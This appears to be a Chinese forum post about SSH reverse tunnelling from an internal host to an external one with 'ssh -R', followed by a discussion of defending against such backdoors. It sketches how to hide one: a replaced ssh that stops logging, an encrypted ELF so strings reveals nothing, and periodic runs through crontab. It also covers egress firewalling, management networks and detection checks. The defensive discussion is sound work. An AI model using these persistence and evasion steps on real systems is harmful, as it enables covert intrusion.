刚才和两位英雄在群里讨论了下,我总结一下转过来,和大家分享。
现在有一台内网机器S6,外网机器S7,我们要从S6回连到S7。
在S6里执行
ssh -R 4022:localhost:22 s7
这时会登陆进S7,同时S7的本地会打开一个4022的隧道端口,隧道通往S6
然后在S7里执行 ssh localhost -p 4022,就连接到了S6去了。
当然还可以做个socks5代理转出来的,但我没需求,有需求的同学自己man ssh吧。另外也可以不带shell,这样更隐蔽一些,还是改参数。
这么一个场景:
1.ssh被替换,已经不打LOG了
2。写一个简单的C,编译成ELF,就执行ssh的打洞工作,执行完退出。J一点的话这个ELF我加密,想strings都strings不出来
3.用crontab定期执行这个ELF,如果放在下面这些呢?
[root@S6 ~]# ls /etc/cron
cron.d/ cron.deny cron.monthly/ crontab
cron.daily/ cron.hourly/ cron.weekly/
我们如何发现,和防御这类后门?事前,事中,事后,咋办?
事前:
做管理专网,被管理服务器只能接受管理专网管理端的主动访问
访问控制,防火墙完全禁止外出,也禁止主动访问管理端。
嗯,这2个比较有效,但有一定的成本和条件。
事中:
检测ssh有没被替换.
grep /proc/cmdline 找特征
事后:
先检测ssh有没被替换,如果没,检查日志。
如果。。。如果这是个回连的木马呢?只有事前的工作有效了。ssh和回连后门相比,没有产生额外的文件,其实还是有,只是没那么明显。进程也有,但也不明显。不需要隐藏文件和进程 :)
大家可以一起交流下思路。我的感觉是在主机层面检测太不划算了